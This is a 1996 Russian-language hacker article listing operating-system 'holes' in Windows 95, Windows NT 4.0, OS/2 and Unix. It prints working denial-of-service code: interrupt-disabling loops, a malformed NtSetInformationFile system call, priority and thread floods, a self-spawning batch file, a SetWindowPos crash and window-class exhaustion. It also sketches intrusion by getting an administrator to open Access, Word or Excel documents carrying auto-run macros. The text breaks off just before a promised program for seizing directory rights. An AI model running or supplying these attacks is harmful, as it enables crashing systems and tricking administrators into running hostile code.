Дыpы в Win95/WinNT.


  OS Holes Document by Sergey Zabaryansky
  Version 12-18-96

Содержание

1. Бредисловие
2. Windows 95
   - весим (CLI в DosBox)                               [11-22-96]
   - весим (бесконечный цикл в Win16 app)               [11-22-96]
   - не даем загрузиться системе (system.ini)         * [11-22-96]
3. Windows NT
   - аварийный останов (NtSetInformationFile)         * [11-22-96]
   - весим (SetPriotiryClass)                         * [11-22-96]
   - весим (SetPriotiryClass +)                       * [11-22-96]
   - весим (hangup.bat)                                 [11-22-96]
    аварийный останов (SetWindowPos)                   [12-08-96]
    "атОмная" атака :)                               * [12-08-96]
    методы проникновения в систему                   * [12-15-96]
    проникновение посредством Access/WinWord/Excel   * [12-15-96]
    получение прав на директорию                     * [12-15-96]
4. OS/2
   - аварийный останов (запись в swap)                  [11-22-96]
5. Unix
   - cat атака                                          [11-22-96]
   - fork() атака                                       [11-22-96]

***************************************************************************
1. БPЕДИСЛОВИЕ

Здесь я постарался собрать _совершенно_ никому не нужные факты
о Win95,OS/2,NT,UNIX. Хотя кто знает ? Может она на что и сгодится.
Под NT тут понимается NT 4.0, под Unix - Red Hat "Picasso".
Я буду благодарен всем, кто поможет дополнить/исправить/уточнить эту статью.
Если Вы возмущены тематикой или последствиями вызванными этой
статьей то cp exclamation /dev/nul.
Ах да ... и об оглавлении ... в нем использованы следуйщие символы:

      -    статья уже была в предидущем номере
          новая статья
      [ ]  дата написания статьи
      *    метод/факт найден мною

***************************************************************************
2. WINDOWS 95

Этой операционке мы уделим мало внимания, так как она является
одной большой дырой, и любой, кто не ленив, может с ней делать
все что он хочет ;)


_ Висим (CLI в DosBox)
_"""""""""""""""""""""

Идея проста до безобразия ... Дело в том, что VMM не виртуализирует IF в VDM.
Тогда становится очевидно, что запретив прерывания и перейдя в бесконечный
цикл мы блокируем планировщик. Pезультат - система висит.

code    SEGMENT byte public 'CODE'
        ASSUME  cs:code, ds:code
        ORG     100h

start:  cli
        jmp     $-2

code    ENDS
        END     start

_ Весим (бесконечный цикл в Win16 app)
_"""""""""""""""""""""""""""""""""""""

#include 

int WINAPI WinMain(HINSTANCE hInst,HINSTANCE hPrev,LPSTR szLine,int Cmd)
{
 while(TRUE);
}

_ не даем загрузиться системе (system.ini)
_"""""""""""""""""""""""""""""""""""""""""

Создайте файл system.ini >= 64kb. Тогда система при загрузке
повиснет/перезагрузится. Причина в том, что так как обычно
system.ini много меньше 64Kb то кодировщик Microsoft просто-напросто
решил считывать из этого файла 0FFFFh байт в сегмент размером 6720h
байт. Pезультат можете понаблюдать сами :)



***************************************************************************
3. WINDOWS NT


_ аварийный останов (NtSetInformationFile)
_"""""""""""""""""""""""""""""""""""""""""

Вот консольная Win32 программа которая приводит
к печальным последствиям ...

#include 

main()
{
 LONG *Fool=new LONG[10];
 _asm mov eax, 0a0h
 _asm mov edx, [Fool]
 _asm int 2Eh
}

Вообще программа выглядит странно, но то, что она делает почти совпадает
с недокументированной функцией NtSetInformationFile из ntdll.dll

NtSetInformationFile
77f67f60   mov       eax, 000000A0h
77f67f65   lea       edx, dword ptr [esp+04]
77f67f69   int       2Eh

Отличие в том, что я в качестве параметра передаю указатель на мусор.

_ висим (SetPriorityClass)
_""""""""""""""""""""""""-

У предыдущей программы есть большой недостаток - она
машинно-ориентированная. Однако довольно легко завесить NT
используя _только_ Win32 API.

#include 

main()
{
 SetPriorityClass(REALTIME_PRIORITY_CLASS);
 while(TRUE);
}

Тут правда есть некоторые тонкости. Во-первых эта программа не возимеет
должного действия на многопроцессорную машину. Во-вторых программа
должна быть запущена пользователем с правом Increase Scheduling Priority.

_ висим (SetPriorityClass +)
_"""""""""""""""""""""""""""

Предидущую программу легко переписать с использованием лишь
приоритета HIGH, на который никаких прав не нужно. Дело в том,
что планировщик OS ничего не знает о процессах, он распределяет
время между потоками. По этой причине если у одной программы потоков
будет на порядок больше чем у другой, то все процессы, кроме нашего,
фактически не получат время. Вот реализация этой идеи:

DWORD ThreadProc(LPDWORD)
{
 while(TRUE);
 return 0;
}

int WINAPI WinMain(HINSTANCE hInst,HINSTANCE hPrev,LPSTR szLine,int Cmd)
{
 DWORD dwResult;
 SetPriorityClass(GetCurrentProcess(),HIGH_PRIORITY_CLASS);
 SetThreadPriority(GetCurrentThread(),THREAD_PRIORITY_HIGHEST);
 while(TRUE)
  {
   CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)ThreadProc,NULL,0,&dwResult);
  }
 return 0;
}

_ висим (hangup.bat)
_"""""""""""""""""""

Другая идея состоит в том, чтобы создать очень много VDM
которые будут активно что-то делать. Естественно, что это
довольно быстро забьет всю память, и порядком загрузит процессор.

start hangup.bat
start hangup.bat

_  аварийный останов (SetWindowPos)
_"""""""""""""""""""""""""""""""""""

Забавно, но кажется, что страсть разработчиков к оптимизации
не имеет пределов ... Вот к чему это привело в случае с NT.
Такая вот Win32 прога приводит к аварийному останову системы.

#include 

int WINAPI WinMain(HINSTANCE hInst,HINSTANCE hPrev,LPSTR lpCmdLine,int nCmd)
{
 HWND hWnd=CreateWindow("EDIT","NONE",WS_VISIBLE,0,0,100,100,0,0,hInst,0);
 SetWindowPos(hWnd,(HWND)0xFFFF,0,0,0,0,3);
}

Атака, к сожалению, не является идеальной по нескольким причинам.
Во первых она являет собой лишь использование ошибки кодировщика,
что говорит о том, что уже в следуйщих версиях она будет скорее
всего устранена. Во вторых, насколько мне извесно, этот трюк
срабатывает лишь в версии x86.


_  "атОмная" атака
_""""""""""""""""""

В порыве энтузиазма разработчики NT на удивление хорошо ее защитили,
не считая конечно досадных мелочей ... Действительно программа
может открыть столько окон, сколько ей заблагорассудится - sucs ;)
Если еще учесть, что количество атомов в системе конечно, то все это
начинает становится забавным. Вот Win32 программа которая делает ...

#include 
#include 

int WINAPI WinMain(HINSTANCE hInst,HINSTANCE hPerv,LPSTR lpszCmd,int Cmd)
{
 int  i,j;
 char szFool[0x40];
 WNDCLASS wc;

 for(i=0;;i++)
   {
    srand(i);
    for(j=0;j < 0x20;j++) szFool[j]=(rand() >> 7) & 0xFF;
    szFool[0x20]=0;
    wc.style         = NULL;
    wc.lpfnWndProc   = DefWindowProc;
    wc.cbClsExtra    = 0;
    wc.cbWndExtra    = 0;
    wc.hInstance     = hInst;
    wc.hIcon         = NULL;
    wc.hCursor       = NULL;
    wc.hbrBackground = NULL;
    wc.lpszMenuName  = NULL;
    wc.lpszClassName = szFool;
    RegisterClass(&wc);
   }
}

Которая что-то делает ;)
Идея атаки в том, что если мы откроем max количество
классов окон, то больше _никто_ в системе не сможет открыть
окно, так как для этого прийдется создать еще один класс окна.
К примеру, если до атаки не был запущен Task Manager, то
после атаки мы не сможем прибить атакующий процесс потому,
что для этого Task Manager должен будет для себя открыть окно,
что разумеется он сделать не может.

 методы проникновения в систему
"""""""""""""""""""""""""""""""""

Давайте немного поразмышляем о том, что собственно нам нужно ...
Очевидно цели могут быть две:
    a. получить доступ к секретной информации
    b. получить права admin'a.
В конкретной ситуации желательно адекватно подходить к этому вопросу.
Самое первое, что приходит в голову - заставить admin'a запустить
нашу программу. Так как WinWord,Excel,Access уже стали неким атрибутом
соврeмeнного офиса, то было бы непростительно с нашей стороны
не воспользоваться этим фактом. Дело в том, что документы/таблицы
как-правило не вызывают никаких подозрений, хотя по-сути несут в себе
большую угрозу ...

 проникновение посредством Access/WinWord/Excel
"""""""""""""""""""""""""""""""""""""""""""""""""

MS Access автоматически исполняет макрос AutoExec. Из которого
мы можем запустить нашу программу, или же
(используя возможность вызывать из Access Basic API функции)
состряпать все дельце вообще не используя внешних програм.
Тоже самое относится и к Word/Excel. С Word правда
есть небольшая сложность ... Word 7.0, по умолчанию,
при обнаружении макроса "на автозапуск" спрашивает вашего разрешения.


  получение прав на директорию
"""""""""""""""""""""""""""""""

Какую же программу мы хотим запустить ? иже приведен пример
который дает пользователю/группе lpszAccount полный доступ к
диску/директории/файлу szFileName. Ее можно перевести
на Access/Word Basic и использовать в своих целях ;)
или же откомпилить и подсунуть admin'у каким-либо другим образом.

//
// Copyright (C) 1996 by Sergey Zabaryansky